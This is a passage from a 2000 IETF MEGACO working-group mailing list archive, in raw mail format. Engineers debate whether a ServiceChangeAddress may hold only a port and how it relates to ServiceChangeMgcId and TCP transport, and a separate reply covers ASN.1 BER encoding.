        change anything but IP Port when </FONT><BR><FONT size=2>&gt; used with
        IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of
        the two of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I favor
        the former, as that is easiest, is most</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; consistent with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; history, and makes the most sense to me.&nbsp; I'll
        </FONT><BR><FONT size=2>&gt; note that what</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; we call ServiceChangeAddress used to be
        "port".&nbsp; It got</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; changed when we realized "port" wouldn't make </FONT><BR><FONT
        size=2>&gt; sense if it was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; not an IP transport.</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday,
        August 29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re:
        Supplying only a port on a </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; I think the issue is that you can have the same
        MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have multiple</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; IP
        addresses.&nbsp; You accept the association, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; change the address.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Say, a pool of
        servers appearing to be one MGC.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; I'm not sure I fully understand what an
        </FONT><BR><FONT size=2>&gt; association is then.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        difference/relationship between the association</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; address and the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; ServiceChangeMgcId (which may itself
        contain an </FONT><BR><FONT size=2>&gt; address or</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; indirectly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; refer to a number of
        addresses through DNS) ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming
        Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
        Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a
        port on a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Suppose all you want to specify in a</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; is a
        port number</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; that is, the IP address doesn't change, but
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port does.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress =</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken EQUAL
        VALUE</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; This is because it could be IP, ATM, FR,
        MPLS....</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; The example shows just a port number.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Actually, I thought that's all that would be</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; allowed in the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; case of IP. If</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; not,
        how can it be within the "context of the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; association</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; currently being</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; negotiated", and how would
        it then relate to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Should
        that be legal?&nbsp; Should you have to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; specify the IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; as x.x.x.x:p?</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --</FONT> <BR><FONT
        size=2>&gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; Cisco
        Systems</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        </FONT><BR><FONT size=2>&gt;
</FONT></P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C018CD.4A4ADC5A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 09:35:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16042
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 09:35:29 -0400 (EDT)
Received: from standards (47.234.32.16:2895) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91233@standards.nortelnetworks.com>; Thu, 7 Sep 2000 9:20:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22354 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 09:20:44 -0400
Received: from hd2.dot.net.in (hd2.vsnl.net.in) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9122D@standards.nortelnetworks.com>; Thu, 7 Sep 2000 9:10:42
          -0400
Received: from hyd.chiplogic.com ([203.197.20.10]) by hd2.dot.net.in
          (8.8.8/8.8.8) with ESMTP id SAA10986 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 7 Sep 2000 18:49:09 +0530
          (IST)
Received: from venkat.chiplogic.com ([192.168.2.60]) by hyd.chiplogic.com
          (8.8.7/8.8.7) with ESMTP id JAA25871 for
          <MEGACO@standards.nortelnetworks.com>; Thu, 7 Sep 2000 09:30:19 +0530
X-Sender: venkat@192.168.2.1
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Mime-Version: 1.0
Content-Type: multipart/alternative;
              boundary="=====================_870111==_.ALT"
Message-ID:  <4.3.2.7.0.20000907092306.00b7e340@192.168.2.1>
Date:         Thu, 7 Sep 2000 09:28:32 +0530
Reply-To: "P.Venkatesh" <venkat@CHIPLOGIC.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "P.Venkatesh" <venkat@CHIPLOGIC.COM>
Subject:      Re: ASN.1 BER
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <65256952.0030422C.00@sandesh.hss.hns.com>

--=====================_870111==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi all ,

At 02:27 PM 9/6/00, you wrote:
>Hi,
>
>I wanted some clarifications regarding the binary encoding.
>
>Is there a  possibility of the binary encoding method to change
>from ASN.1 BER  to  PER ?


><venkat> there is no way you can convert BER to PER directly but you may
>use some compilers to genarate BER and PER code if you have ASN.1 Definitions



>How was BER decided upon in the first place.
>Was it because it was simple, albeit costly in terms of size ?

<venkat> BER is generally used in cases where size is significant.


>Also, can we have some sample dump of BER encoded messages ?
>I have managed to get the encoded output for a sample binary
>encoded message. My decoder has no problem in parsing it.
>But how do I assure myself that this is the encoded output that
>everybody is looking for.  :-)

<venkat>You can use third party compilers to generate the code for the
ASN.1 Definations and inter-operate your BER code with the generated BER code


>Regards
>Shiv Kumar
>Hughes Software Systems


Regards
Venkatesh

----------
P.Venkatesh
Associate  Member Technical Staff
Chiplogic India Pvt. Ltd.,
Hyderabad.
ph: +91+40+3750250/251/252
fax : +91+40+3750 249
res : +91+40+7538241
email : venkat@chiplogic.com
         whenkeys@yahoo.com

----------

--=====================_870111==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>Hi all ,<br>
<br>
At 02:27 PM 9/6/00, you wrote:<br>
<blockquote type=cite cite>Hi,<br>
<br>
I wanted some clarifications regarding the binary encoding.<br>
<br>
Is there a&nbsp; possibility of the binary encoding method to
change<br>
from ASN.1 BER&nbsp; to&nbsp; PER ?</font></blockquote><br>
<br>
<blockquote type=cite cite><font size=3>&lt;venkat&gt; there is no way
you can convert BER to PER directly but you may use some compilers to
genarate BER and PER code if you have ASN.1
Definitions</font></blockquote><br>
<br>
<br>
<blockquote type=cite cite><font size=3>How was BER decided upon in the
first place.<br>
Was it because it was simple, albeit costly in terms of size
?</font></blockquote><br>
&lt;venkat&gt; BER is generally used in cases where size is
significant.<br>
<br>
<br>
<blockquote type=cite cite><font size=3>Also, can we have some sample
dump of BER encoded messages ?<br>
I have managed to get the encoded output for a sample binary<br>
encoded message. My decoder has no problem in parsing it.<br>
But how do I assure myself that this is the encoded output that<br>
everybody is looking for.&nbsp; :-)</font></blockquote><br>
&lt;venkat&gt;You can use third party compilers to generate the code for
the ASN.1 Definations and inter-operate your BER code with the generated
BER code <br>
<br>
<br>
<blockquote type=cite cite><font size=3>Regards<br>
Shiv Kumar<br>
Hughes Software Systems </blockquote><br>
<br>
Regards<br>
Venkatesh</font><br>

<hr>
<font size=3><i>P.Venkatesh <br>
Associate&nbsp; Member Technical Staff<br>
</font><font size=3 color="#800000">Chiplogic India Pvt. Ltd., <br>
Hyderabad.<br>
</font><font size=3 color="#FF0000">ph: +91+40+3750250/251/252<br>
fax : +91+40+3750 249<br>
res : +91+40+7538241<br>
</font><font size=3 color="#0000FF">email : venkat@chiplogic.com<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>whenkeys@yahoo.com<br>
<hr>
</font></i></html>

--=====================_870111==_.ALT--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 10:18:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16731
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 10:18:04 -0400 (EDT)
Received: from standards (47.234.32.16:1878) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9127C@standards.nortelnetworks.com>; Thu, 7 Sep 2000 10:02:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22449 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 10:02:57 -0400
Received: from smtp1.cluster.oleane.net by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB9127B@standards.nortelnetworks.com>; Thu, 7 Sep 2000 10:02:56
          -0400
Received: from oleane  (dyn-1-2-213.Vin.dialup.oleane.fr [194.2.4.213])  by
          smtp1.cluster.oleane.net  with SMTP id QAA06191 for
          <megaco@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:16:13 +0200
          (CEST)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_00EC_01C018E6.D14245E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <00ef01c018d6$11d036a0$0401a8c0@oleane.com>
Date:         Thu, 7 Sep 2000 16:15:19 +0200
Reply-To: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Subject:      Upper Side Conference
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_00EC_01C018E6.D14245E0
Content-Type: text/plain;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

International SIP 2001 (second edition)
Implementing H.323
MGC 2000 (second edition)
=20
Three conferences organised by Upper Side gathering the most eminent =
specialists in VoIP technologies.
=20
Get more details at:
http://www.upperside.fr/index.html

------=_NextPart_000_00EC_01C018E6.D14245E0
Content-Type: text/html;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>International <STRONG>SIP =
</STRONG>2001 (second=20
edition)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Implementing =
<STRONG>H.323</FONT></STRONG></DIV>
<DIV><FONT color=3D#000000 size=3D2><STRONG>MGC</STRONG> 2000 (second=20
edition)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Three conferences organised by Upper =
Side=20
gathering the most eminent specialists in VoIP =
technologies.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Get more details at:</FONT></DIV>
<DIV><A=20
href=3D"http://www.upperside.fr/index.html">http://www.upperside.fr/index=
.html</A></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_00EC_01C018E6.D14245E0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 10:54:26 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17550
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 10:54:07 -0400 (EDT)
Received: from standards (47.234.32.16:1878) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB912DD@standards.nortelnetworks.com>; Thu, 7 Sep 2000 10:37:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22568 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 10:37:13 -0400
Received: from qhars002.nortel.com (47.101.112.102:42489) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB912DA@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          10:37:07 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Thu, 7 Sep 2000 15:49:47 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Thu, 7 Sep 2000 10:49:09 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PHHPJ>; Thu, 7 Sep 2000 10:49:07 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C018DA.C267BED0"
Message-ID:  <28560036253BD41191A10000F8BCBD11480D3B@zcard00g.ca.nortel.com>
Date:         Thu, 7 Sep 2000 10:49:00 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C018DA.C267BED0
Content-Type: text/plain;
        charset="iso-8859-1"

Brian, you've got directions reversed, I think.  If the MG sends a
ServiceChangeAddress, then the MGC is being told to send its requests to
that address.  The MGC is the one that has to establish the transport
connection (if required), because the MGC is the one that knows what source
address it wants to use.  Beyond this, the MGC knows that the MG is ready
because it has established its new connection or (for UDP) simply because
the MG wouldn't have asked for the change if it wasn't ready to handle it.

Now consider the case where the MGC has sent the MG a ServiceChangeAddress.
Here it is telling the MG where to send new requests.  The MG is responsible
for setting up the transport connection, and knows when it can start sending
as a result.

You never have a situation where one end has to wait for the other to set up
a transport connection before it can send messages.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 9:11 AM
To: 'Bharat Kaul'; Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I'm still stuck on how you expect this to work if you don't abandon the
current
control association and start a new one.  Whether you change addresses,
or even if you change ports, the MGC has to wait until the new transport is
established, and then send the first message on the transport established by
the MG.  This is unlike any mechanism I know of.  In all cases that I've
seen,
the first message on a new port/address comes from the entity establishing
the transport.

For UDP it's not all that hard EXCEPT that you have no idea when to send a
message - how do you know that the MG is listening on the port?  You asked
him
to change, and you get no packets telling you  he did it.

For TCP it's at least possible if you get into the TCP machinery, because
you can
see the TCP connection state on the new port being established.  However,
the
MGC has to watch this, and after it's established, then send it's first
message,
again before it gets any messages from the MG.

The other way, using ServiceChangeMgcId, you reply with the new port,
clear your state, and sit back.  You will get a new ServiceChange on the
correct
port.  Much easier.

Brian

-----Original Message-----
From: Bharat Kaul [mailto:bharat@trillium.com]
Sent: Wednesday, September 06, 2000 6:34 PM
To: Rosen, Brian; 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I also agree with what seems to be the evolving consensus.

However, we might to have evaluate the choice of IP Address being present as
part of ServiceChangeAddress more carefully before disallowing it.

The case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port.
For first case, we need to allow presence of IP Address. For second case, we
are fine with port. So effectively, it boils down to using
ServiceChangeMgcId.
It might be  a requirement that MG  receiving the parameter  knows exactly
that it has been asked to communicate on other interface with the same MGC
and hasn't been redirected to a altogether new MGC otherwise the MG might
interpret them as two separate entities which is not a correct picture.

Any comments on  this ?

- Bharat


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Wednesday, September 06, 2000 11:12 AM
To: 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress





OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
